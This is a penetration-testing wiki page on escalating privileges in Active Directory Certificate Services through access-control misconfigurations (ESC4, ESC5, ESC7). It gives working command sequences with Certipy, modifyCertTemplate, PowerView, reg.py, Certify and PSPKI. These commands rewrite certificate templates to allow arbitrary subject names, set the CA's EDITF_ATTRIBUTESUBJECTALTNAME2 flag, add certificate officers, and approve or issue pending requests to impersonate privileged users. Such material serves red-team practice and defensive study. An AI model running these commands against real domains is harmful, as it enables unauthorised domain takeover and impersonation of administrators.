Access controls

Theory

In their research papers, Will Schroeder and Lee Christensen found multiple vectors of domain escalation based on access control misconfigurations (dubbed ESC4, ESC5 and ESC7).
Active Directory Certificate Services add multiple objects to AD, including securable ones which principals can have permissions over. This includes:
  • Certificate templates (ESC4): powerful rights over these objects can allow attackers to "push a misconfiguration to a template that is not otherwise vulnerable (e.g., by enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication) this results in the same domain compromise scenario [...]" (specterops.io) as the one based on misconfigured certificate templates where low-privs users can specify an arbitrary SAN (subjectAltName) and authenticate as anyone else.
  • The Certificate Authority (ESC7): "The two main rights here are the ManageCA right and the ManageCertificates right, which translate to the โ€œCA administratorโ€ and โ€œCertificate Managerโ€ (sometimes known as a CA officer) respectively. known as Officer rights)" (specterops.io).
    • If an attacker gains control over a principal that has the ManageCA right over the CA, he can remotely flip the EDITF_ATTRIBUTESUBJECTALTNAME2 bit to allow SAN specification in any template (c.f. CA misconfiguration).
    • If an attacker gains control over a principal that has the ManageCertificates right over the CA, he can remotely approve pending certificate requests, subvertnig the "CA certificate manager approval" protection (referred to as PREVENT4 in the research whitepaper).
  • Several other objects (ESC5): abuse standard AD access control abuse over regulard AD objects.
    • The CA serverโ€™s AD computer object (i.e., compromise through RBCD abuse, Shadow Credentials, UnPAC-the-hash, ...).
    • The CA serverโ€™s RPC/DCOM server
    • Any descendant AD object or container in the container CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=LOCAL (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services Container, etc.) If a low-privileged attacker can gain control over any of these, the attack can likely compromise the PKI system.
    • ...

Practice

Maliciously configuring a CA or a certificate template can be insufficient. A controlled AD object (user or computer) must also have the ability to request a certificate for that template. The controlled AD object must have Certificate-Enrollment rights over the enrollment services (i.e. CA) and over the certificate template (source).
โ€‹PowerSploit's Add-DomainObjectAcl function (in PowerView) can be used to add Certificate-Enrollment rights to a "controlled AD object" over a specific template. In order to achieve this, the attacker needs to have enough rights (i.e. WriteDacl) over the certificate template.
1
Add-DomainObjectAcl -TargetIdentity "target template" -PrincipalIdentity "controlled object" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=DOMAIN,DC=LOCAL" -Verbose
Copied!
The example above shows how to edit a certificate template's DACL (requires WriteDacl over the template, i.e. ESC4), but modifying a CA's DACL follows the same principle (requires WriteDacl over the CA, i.e. ESC7).

Certificate templates (ESC4)

In order to obtain an abusable template, some attributes and parameters need to be properly setup
  1. 1.
    Get Enrollment rights for the vulnerable template
  2. 2.
    Disable PEND_ALL_REQUESTS flag in mspki-enrollment-flag for disabling Manager Approval
  3. 3.
    Set mspki-ra-signature attribute to 0 to disable Authorized Signature requirement
  4. 4.
    Enable ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag to allow requesting users to specify another privileged account name as a SAN
  5. 5.
    Set mspki-certificate-application-policy to a certificate purpose for authentication
    1. 1.
      Client Authentication (OID: 1.3.6.1.5.5.7.3.2)
    2. 2.
      Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
    3. 3.
      PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
    4. 4.
      Any Purpose (OID: 2.5.29.37.0)
    5. 5.
      No EKU
  6. 6.
    Request a certificate (with a high-privileged user's name set as SAN) for authentication and perform Pass the Ticket.
UNIX-like
Windows
From UNIX-like systems, Certipy (Python) can be used to enumerate these sensitive access control entries, and to overwrite the template in order to add the SAN attribute and make it vulnerable to ESC1. It also had the capacity to save the old configuration in order to restore it after the attack.
1
# 1. Enumerate sensitive access control entries
2
certipy find 'domain.local'/'user':'password'@'domaincontroller'
3
โ€‹
4
# 2. Overwrite the certificate template and save the old configuration
5
certipy template 'domain.local'/'user':'password'@'ca_server' -template templateName -save-old
6
โ€‹
7
# 3. After the ESC1 attack, restore the original configuration
8
certipy template 'domain.local'/'user':'password'@'ca_serverca_server' -template templateName -configuration 'templateName.json'
Copied!
If a more precise template modification is needed, modifyCertTemplate (Python) can be used to modify each attributes of the template.
1
# 1. Enumerate sensitive access control entries
2
certipy find 'domain.local'/'user':'password'@'domaincontroller'
3
โ€‹
4
# 2. Disable Manager Approval Requirement
5
modifyCertTemplate.py -template templateName -value 2 -property mspki-enrollment-flag domain.local/user:password
6
โ€‹
7
# 3. Disable Authorized Signature Requirement
8
modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature domain.local/user:password
9
โ€‹
10
# 4. Enable SAN Specification
11
modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag domain.local/user:password
12
โ€‹
13
# 5. Edit Certificate Application Policy Extension
14
modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property mspki-certificate-application-policy domain.local/user:password
Copied!
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.
From Windows systems, the Certify (C#) tool can be used to enumerate these sensitive access control entries. At the time of writing (October 21st, 2021) BloodHound doesn't support (yet) enumeration of these access controls. PowerView can be used to modify the template.
1
# 1. Enumerate sensitive access control entries
2
Certify.exe find
3
โ€‹
4
# 2. Disable Manager Approval Requirement
5
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose
6
โ€‹
7
# 3. Disable Authorized Signature Requirement
8
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose
9
โ€‹
10
# 4. Enable SAN Specification
11
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose
12
โ€‹
13
# 5. Edit Certificate Application Policy Extension
14
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
Copied!
If sensitive access entries are identified, creativity will be the best ally.
Currently, the best resources for manually abusing this are

Certificate Authority (ESC7)

If sufficient rights are obtained over the Certificate Authority (Access Controls, local admin account, ...) an attacker could remotely edit the registries, enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute, restart the CertSvc service, and abuse ESC6 (CA configuration abuse).
1
## Beware: change placeholder values CA-NAME, VALUE, NEW_VALUE
2
โ€‹
3
# query flags
4
reg.py 'DOMAIN'/'USER':'PASSWORD'@'CA_IP' query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags
5
โ€‹
6
# bitwise OR to set the flag if not already (nothing changed if already set)
7
python3 -c print("NEW_VALUE:", VALUE | 0x40000)
8
โ€‹
9
# write flags
10
reg.py 'DOMAIN'/'USER':'PASSWORD'@'CA_IP' add-keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags -vd NEW_VALUE
Copied!
When it is not possible to restart the CertSvc service to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute,the built-in template SubCA can be usefull.
It is vulnerable to the ESC1 attack, but only Domain Admins and Enterprise Admins can enroll in it. If a standard user try to enroll in it with Certipy, he will encounter a CERTSRV_E_TEMPLATE_DENIED errror and will obtain a request ID with a corresponding private key.
This ID can be used by a user with the ManageCA and ManageCertificates rights to validate the failed request. Then, the user can retrieve the issued certificate by specifying the same ID.

ManageCA Rights

UNIX-like
Windows
From UNIX-like systems, Certipy (Python) can be used to enumerate access rights over the CA object and modify some CA's attributes like the officiers list (an officier is a user with the ManageCertificate rights) or the enabled certificate templates.
1
# Enumerate sensitive access rights
2
certipy find 'domain.local'/'user':'password'@'domain_controller'
3
โ€‹
4
# Add a new officier
5
certipy ca 'domain.local'/'user':'password'@'ca_server' -ca 'ca_name' -add-officier 'user'
6
โ€‹
7
# List all the templates
8
certipy ca 'domain.local'/'user':'password'@'ca_server' -ca 'ca_name' -list-templates
9
โ€‹
10
# Enable a certificate template
11
certipy ca 'domain.local'/'user':'password'@'ca_server' -ca 'ca_name' -enable-template 'SubCA'
Copied!
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.
From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object.
Then, PSPKI (PowerShell) can be used to modify the CA object (RSAT is needed on the machine where PSPKI is run).
1
Certify.exe cas
2
โ€‹
3
# Install PSPKI
4
Install-Module -Name PSPKI
5
Import-Module PSPKI
6
โ€‹
7
# Get the current value of EDITF_ATTRIBUTESUBJECTALTNAME2 and modify it with SetConfigEntry
8
$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.domain.local"
9
$configReader.SetRootNode($true)
10
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
11
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
12
โ€‹
13
# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
14
certutil.exe -config "CA.domain.local\CA" -getreg "policy\EditFlags"
Copied!
โ€‹
If RSAT is not present, it can installed like this:
1
DISM.exe /Online /Get-Capabilities
2
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0
Copied!

ManageCertificates Rights

UNIX-like
Windows
From UNIX-like systems, Certipy (Python) can be used to enumerate access rights over the CA object. Coupled with the ManageCA right, it is possible to issue a certificate from a failed request.
1
# Enumerate sensitive access rights
2
certipy find 'domain.local'/'user':'password'@'domain_controller'
3
โ€‹
4
# Issue a failed request (need ManageCA and ManageCertificates rights for a failed request)
5
certipy ca 'domain.local'/'user':'password'@'ca_server' -ca 'ca_name' -issue-request 100
6
โ€‹
7
# Retrieve an issued certificate
8
certipy req 'domain.local'/'user':'password'@'ca_server' -ca 'ca_name' -request 100
Copied!
The certificate can then be used with Pass-The-Certificate to obtain a TGT and authenticate.
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.
From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object, and to request a certificate that requires manager approval.
Then, PSPKI (PowerShell) can be used to approve a certificate request (RSAT is needed on the machine where PSPKI is used). PSPKI is a PowerShell module used to "simplify various PKI and AD CS management tasks".
1
# 1. Request a certificate that requires manager approval with Certify
2
Certify.exe request /ca:CA.domain.local\CA /template:ApprovalNeeded
3
...
4
[*] Request ID : 1
5
โ€‹
6
# 2. Install PSPKI on a controlled Windows host
7
Install-Module -Name PSPKI
8
Import-Module PSPKI
9
โ€‹
10
# 3. Approve the pending request with PSPKI
11
PSPKI > Get-CertificationAuthority -ComputerName CA.domain.local | Get-PendingRequest -RequestID 1 | Approve-CertificateRequest
12
โ€‹
13
# 4. Download the certificate with Certify
14
Certify.exe download /ca:CA.domain.local\CA /id:1
Copied!
If sensitive rights are identified, creativity will be the best ally. Not much public tooling is available at the time of writing (October 21st, 2021).
Currently, the best resources for manually abusing this are

Other objects (ESC5)

This can be enumerated and abused like regular AD access control abuses. Once control over an AD-CS-related is gained, creativity will be the attacker's best ally.
โ€‹

Resources

https://posts.specterops.io/certified-pre-owned-d95910965cd2
posts.specterops.io
Certipy 2.0: BloodHound, New Escalations, Shadow Credentials, Golden Certificates, and more!
Medium
Microsoft ADCS โ€“ Abusing PKI in Active Directory Environment - RiskInsight
RiskInsight
GitHub - daem0nc0re/Abusing_Weak_ACL_on_Certificate_Templates: Investigation about ACL abusing for Active Directory Certificate Services (AD CS)
GitHub